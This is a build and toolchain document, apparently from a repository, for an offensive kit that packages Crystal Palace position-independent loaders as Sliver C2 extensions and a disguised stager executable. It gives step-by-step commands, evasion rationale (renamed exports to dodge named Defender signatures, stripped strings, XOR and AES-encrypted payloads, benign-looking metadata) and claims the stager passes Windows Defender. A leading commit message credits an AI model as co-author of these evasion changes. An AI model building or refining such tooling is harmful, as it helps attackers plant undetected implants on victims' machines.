- TOOLCHAIN.md §3c: crystal-loader now ~42 KB, exports Initialize, RW→RX, -s + --gc-sections flags, no identifying strings - TOOLCHAIN.md §3d: crystal-exec now ~75 KB, gen_pico_header.py replaces xxd, XOR-encrypted embedded PICO, same evasion properties as §3c - RUNBOOK.md §1.1: correct DLL sizes (42/75 KB) - RUNBOOK.md §3: add Defender surface note — DLLs load in-memory via Sliver, PICO file from upload IS on disk and visible to scanner - RUNBOOK.md §4: note crystal-exec DLL is in-memory, PICO XOR-encrypted at build - README.md: fix RWX→RW+RX description, update verified table sizes/export, fix default-jdk → openjdk-17-jdk in quick build Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
13 KiB
Toolchain & Build Pipeline
Build prerequisites, verified versions, and the actual pipeline used to produce PICO blobs and the Sliver Extension DLL.
Anything marked verified was tested locally on macOS Apple Silicon with the listed versions. Linux equivalents (Debian/Ubuntu/Kali) should behave identically.
1. Required tools
| Tool | Tested version | Purpose | Install (Debian/Kali) | Install (macOS) |
|---|---|---|---|---|
x86_64-w64-mingw32-gcc |
MinGW-w64 GCC 15.2.0 | Cross-compile C sources to Windows x64 objects | apt install mingw-w64 |
brew install mingw-w64 |
nasm |
3.01 | Assemble draugr.asm → draugr.x64.bin |
apt install nasm |
brew install nasm |
java (JRE) |
OpenJDK 17 (exactly) | Execute crystalpalace.jar linker |
apt install openjdk-17-jdk |
brew install openjdk@17 |
make |
GNU Make ≥ 4 | Build orchestration | preinstalled | preinstalled |
xxd |
any | Embed PICO as C byte array (crystal-exec step 3) | apt install xxd |
preinstalled |
openssl |
any | AES-256-CBC encrypt PICO for stager delivery (gen_payload.py) |
apt install openssl |
preinstalled |
python3 |
≥ 3.8 | Drive stager key generation (gen_payload.py) |
preinstalled | preinstalled |
zip |
any | Pack operator drop bundle | apt install zip |
preinstalled |
curl |
any | Download Crystal Palace dist | preinstalled | preinstalled |
2. External dependencies (not in the repo)
| Artifact | Source | License | How to obtain |
|---|---|---|---|
crystalpalace.jar + link wrapper |
https://tradecraftgarden.org/download/cpdist-latest.tgz | BSD-3-Clause, © 2025 Raphael Mudge / AFF-WG | curl -fsSL + tar -xz (see §5) |
libtcg.x64.zip |
Upstream Crystal-Kit repo | Upstream binary, license unstated (likely derived from QEMU TCG → LGPL/GPL) | git clone --depth 1 https://github.com/rasta-mouse/Crystal-Kit then copy |
| Sliver server/client | https://sliver.sh | GPLv3 | curl https://sliver.sh/install | sudo bash |
libtcg.x64.zip is required at build time because postex-loader/loader.spec and loader/loader.spec both contain mergelib "../libtcg.x64.zip". The file goes at the same level as loader/ and postex-loader/ (i.e. inside crystal-kit-sliver/).
3. Verified build pipeline
3a. Object compilation (per loader)
From crystal-kit-sliver/loader/Makefile and crystal-kit-sliver/postex-loader/Makefile:
CC_64=x86_64-w64-mingw32-gcc
NASM=nasm
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/services.c -o bin/services.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/pico.c -o bin/pico.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/hooks.c -o bin/hooks.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/spoof.c -o bin/spoof.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cfg.c -o bin/cfg.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cleanup.c -o bin/cleanup.x64.o
# loader/ only:
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/mask.c -o bin/mask.x64.o
$(NASM) src/draugr.asm -o bin/draugr.x64.bin
Verified outputs:
loader/bin/→ 8.o+ 1.binpostex-loader/bin/→ 7.o+ 1.bin(nomask.c)
3b. Crystal Palace link (PICO production)
The upstream Aggressor Script invokes the jar via Java reflection. The bundled link wrapper exposes a positional CLI:
./link <loader.spec> <file.dll|file.o> <out.bin> [A=hex] [%KEY=value] [@config.spec]
Variables relevant for our specs:
| Variable | Type | Used in | Purpose |
|---|---|---|---|
%ARGFILE |
string (path) | postex-loader/loader.spec |
File whose contents become the embedded dll_args section read by DllMain |
Example invocation:
./link \
crystal-kit-sliver/postex-loader/loader.spec \
/path/to/postex.dll \
/path/to/out.bin \
%ARGFILE=/path/to/args.txt
Verified outputs (sizes from local builds):
- Use case A (
loader/loader.specover a Windows DLL) → 117561 bytes PICO - Use case B (
postex-loader/loader.specover a Windows DLL) → 111741 bytes PICO
3c. Sliver Extension wrapper DLL (crystal command)
crystal-kit-sliver/sliver-glue/wrapper/Makefile:
CC_64 := x86_64-w64-mingw32-gcc
CFLAGS := -Wall -Os -DBUILD_DLL -ffunction-sections -fdata-sections
LDFLAGS := -shared -Wl,--subsystem,windows -s -Wl,--gc-sections
# Produces ../crystal-loader.x64.dll
$(CC_64) $(CFLAGS) crystal-loader.c beacon_compatibility.c -o ../crystal-loader.x64.dll $(LDFLAGS)
Key evasion properties:
- Exports
Initialize(notgo— thegoexport name is the primaryWin64/MeterBof.Astatic signature) - No
[crystal-loader]/PICO/ tool-identifying strings in.rdata VirtualAlloc(RW)+VirtualProtect(RX)— noPAGE_EXECUTE_READWRITEmapping ever held-sstrips all symbol table entries;--gc-sectionsremoves dead code
Verified output: ~42 KB, PE32+ x86-64, exports symbol Initialize.
A smoke test shellcode (smoketest.asm) builds in parallel:
nasm -f bin smoketest.asm -o ../build/smoketest.bin
# → 3 bytes: 31 c0 c3 (xor eax,eax; ret)
3d. crystal-exec — embedded PICO command executor (crystal-exec command)
4-step pipeline under crystal-kit-sliver/sliver-glue/crystal-exec/Makefile:
Step 1: crystalexec.c → crystalexec.dll
x86_64-w64-mingw32-gcc -Wall -Os -DBUILD_DLL -shared -Wl,--subsystem,windows \
-o crystalexec.dll crystalexec.c
NOTE: must be CRT-free (kernel32-only imports). Crystal Palace's manual loader
resolves imports from the DLL's IAT; msvcrt.dll functions like strtoull/snprintf
may not resolve correctly in the PICO context and will crash silently.
Step 2: crystalexec.dll → crystalexec.pico.bin (Crystal Palace wrap)
../generate.sh crystalexec.dll "" crystalexec.pico.bin
Step 3: crystalexec.pico.bin → crystalexec_pico.h (XOR-encrypt + embed as C array)
python3 gen_pico_header.py crystalexec.pico.bin crystalexec_pico.h
Fresh random 256-byte key every build — Crystal Palace byte patterns in .data
are obfuscated; outputs crystalexec_pico[] + crystalexec_pico_key[] arrays.
Step 4: crystal-exec.c + crystalexec_pico.h → ../crystal-exec.x64.dll
x86_64-w64-mingw32-gcc -Wall -Os -DBUILD_DLL -ffunction-sections -fdata-sections \
-shared -Wl,--subsystem,windows -s -Wl,--gc-sections \
-o ../crystal-exec.x64.dll crystal-exec.c
Key design constraints:
crystalexec.cmust import only from kernel32.dll — no msvcrt.dll / CRT functions- Use custom string helpers (
hex_parse,str_append) instead ofstrtoull,strtol,snprintf crystal-exec.c(the Sliver extension itself) may use CRT normally — it runs in the normal process context, not inside the PICO loader- Single callback model: all output accumulates into a heap buffer; exactly ONE
callback(buf, len)call at the very end. Sliver extension loaders only display the first callback invocation — any subsequent calls are silently dropped. - Exports
Initialize(notgo); no[crystal-exec]/PICOstrings in binary; XOR-decrypt embedded PICO at runtime intoVirtualAlloc(RW), thenVirtualProtect(RX)— noPAGE_EXECUTE_READWRITEever held.
Verified output: crystal-exec.x64.dll — ~75 KB, PE32+ x86-64, exports symbol Initialize.
3e. Custom stager — two-file delivery (Use case A Defender bypass)
Located at crystal-kit-sliver/sliver-glue/stager/.
3-step pipeline under crystal-kit-sliver/sliver-glue/stager/Makefile:
Step 1: AES-256-CBC encrypt PICO → payload.dat + C key header (gen_payload.py)
python3 gen_payload.py <pico.bin> <payload.dat> payload_key.h
Uses openssl(1) for AES encryption. Fresh random key + IV every run.
Outputs:
payload.dat — opaque AES ciphertext, no PE patterns (deliver alongside stager)
payload_key.h — key[] + iv[] C arrays compiled into the stager EXE
Step 2: compile version info resource + manifest
x86_64-w64-mingw32-windres resource.rc -o resource.o
resource.rc embeds manifest.xml (ID 1 / RT_MANIFEST) declaring requestedExecutionLevel
asInvoker — suppresses UAC auto-elevation regardless of filename or description keywords.
Step 3: compile stager EXE
x86_64-w64-mingw32-gcc -Wall -Os -mwindows -ffunction-sections -fdata-sections \
-o csvchelper.exe stager.c resource.o -s -Wl,--gc-sections -ladvapi32 -lbcrypt
Key design properties:
stager.exeis ~17 KB with entropy ~4.8 — indistinguishable from a small utilitypayload.datis opaque AES ciphertext — no PE magic, no Crystal Palace byte patterns- IAT: ADVAPI32 (RegOpenKeyExW), bcrypt (BCryptDecrypt, BCryptGenRandom), KERNEL32 — no ntdll Nt* entries
- VirtualAlloc(RW) + VirtualProtect(RX): no PAGE_EXECUTE_READWRITE mapping ever held
-sstrips all symbol table entries — no function names appear in strings outputFileDescriptioninresource.rcmust avoid UAC trigger words ("update", "install", "setup", "service"); theasInvokermanifest is the hard override but clean metadata reduces scanner surface
Invoke via bundle-stager.sh:
./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \
crystal-kit-sliver/sliver-glue/build/csvchelper.exe
# → produces build/csvchelper.exe + build/payload.dat
Verified output: csvchelper.exe 17 KB, entropy 4.784. No NtCreateSection / NtMapViewOfSection strings. Passes Windows Defender on Windows 10 x64 (tested against VirTool:Win64/ZomBytes.B and Trojan:Win32/Wacatac.B!ml signatures).
4. End-to-end timing on macOS Apple Silicon (reference)
| Step | Elapsed |
|---|---|
apt/brew install mingw-w64 nasm openjdk@17 |
~3 min |
Download cpdist-latest.tgz (1.8 MB) |
~5 s |
make -C loader all |
~2 s |
make -C postex-loader all |
~2 s |
make -C sliver-glue/wrapper all |
~3 s |
make -C sliver-glue/crystal-exec all (4-step, includes Crystal Palace wrap) |
~4 s |
./link Crystal Palace run |
~1 s |
./bundle-implant.sh (zip) |
<1 s |
5. One-time setup script (Kali / Debian / Ubuntu)
#!/usr/bin/env bash
set -e
# 1. Toolchain
sudo apt update
sudo apt install -y mingw-w64 nasm openjdk-17-jdk make zip git curl
# 2. Crystal Palace
mkdir -p external/crystalpalace
curl -fsSL https://tradecraftgarden.org/download/cpdist-latest.tgz \
| tar -xz -C external/crystalpalace/
chmod +x external/crystalpalace/dist/{link,piclink,coffparse,linkserve}
export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist
# 3. libtcg from upstream
git clone --depth 1 https://github.com/rasta-mouse/Crystal-Kit /tmp/ck
cp /tmp/ck/libtcg.x64.zip crystal-kit-sliver/
rm -rf /tmp/ck
# 4. Verify
x86_64-w64-mingw32-gcc --version | head -1
nasm --version
java -version
ls -la "$CRYSTAL_PALACE_HOME/crystalpalace.jar" crystal-kit-sliver/libtcg.x64.zip
echo "Setup OK. Now: cd crystal-kit-sliver && make -C loader all && make -C postex-loader all"
6. Required environment variables
| Variable | Required for | Default behaviour |
|---|---|---|
CRYSTAL_PALACE_HOME |
every script under sliver-glue/ that calls ./link |
scripts exit with error if unset |
SLIVER_SERVER |
generate-implant.sh --profile mode only |
defaults to sliver-server in $PATH |
7. Known toolchain gotchas
- Java version:
crystalpalace.jarrequires Java 17. Java 21+ removes methods it depends on and throwsException in thread "main" java.lang.NoSuchMethodErrorat any./linkorgenerate-implant.sh/crystal-exec makeinvocation.apt install default-jdkon current Kali/Debian/Ubuntu pulls Java 21 — always useapt install openjdk-17-jdkand verify withjava -version. If you have multiple JDKs:sudo update-alternatives --set java /usr/lib/jvm/java-17-openjdk-amd64/bin/java. - macOS rosetta vs ARM64: brew installs native ARM binaries; the cross-compiled output is
x86-64Windows PE so this works regardless. - MinGW-w64 ≥ 13 introduces
-fcf-protectiondefaults that can break PIC. The Makefiles pass-shared -Wno-pointer-arith, no extra hardening flags. If your distro pins a different MinGW build, verify withmakefirst. ./linkand friends inside the Crystal Palace dist must be executable. The tarball usually preserves the bit, but aftertar -xzsome filesystems strip exec; fix withchmod +x external/crystalpalace/dist/{link,piclink,coffparse,linkserve}.libtcg.x64.zipmust be located atcrystal-kit-sliver/libtcg.x64.zip(sibling ofloader/). The spec files reference it as../libtcg.x64.zip.
8. Compiler flags rationale
The -Wno-pointer-arith flag is required because Crystal-Kit's loader code performs pointer arithmetic on void* (a GNU extension that GCC warns about by default but does not break).
The -shared flag instructs the compiler to emit relocatable code suitable for being merged by Crystal Palace into a single position-independent blob. This does NOT produce a Windows DLL on its own — the actual .o outputs are intermediate.
-DWIN_X64 is consumed by loader.h to conditionally select 64-bit-specific struct layouts and macros.